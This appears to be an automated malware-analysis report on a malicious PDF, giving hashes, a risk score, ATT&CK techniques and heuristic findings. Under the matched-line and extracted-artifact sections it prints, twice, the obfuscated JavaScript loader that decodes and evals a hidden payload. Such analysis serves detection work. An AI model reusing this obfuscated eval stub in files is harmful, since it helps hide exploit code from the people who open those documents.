PDF malware analysis — malicious · 7db985a279ec6c7f

MALICIOUS

PDF

21.0 KB Created: 2009-07-13 19:22:54 Authoring application: sOY First seen: 2012-11-24

MD5: 569f81386d4bba74d393bc6d91f997c3 SHA-1: b2335d459b9913402ed521b1e17f162be8904ad3 SHA-256: 7db985a279ec6c7f2b0c5f4168134eb250b78976510a147b5a3f456f226a1323

116 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that utilizes String.fromCharCode to decode and execute malicious code. The script appears to be designed to exploit a known PDF vulnerability, leading to arbitrary code execution. The ML classifier strongly indicates maliciousness, and the JavaScript obfuscation suggests an attempt to evade detection.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
lit=ark([/****/this,1]);function ark(r){return r[0]}
fg=1;bo=lit.creator;golo='replace';a=(lit)[lit.info.gemna];j=(lit)['e'+'val'];ax=(bo)[golo](/(OXO)/g,a(String.fromCharCode(36+fg)));j(a(ax));
)
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x178	196 bytes
SHA-256: `85579fc32c27d39121c22dbd7c9911a966ba542021b62ee13c0d618592271335`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script lit=ark([/****/this,1]);function ark(r){return r[0]} fg=1;bo=lit.creator;golo='replace';a=(lit)[lit.info.gemna];j=(lit)['e'+'val'];ax=(bo)[golo](/(OXO)/g,a(String.fromCharCode(36+fg)));j(a(ax));

Open this report in the interactive analyzer, or submit your own file for analysis.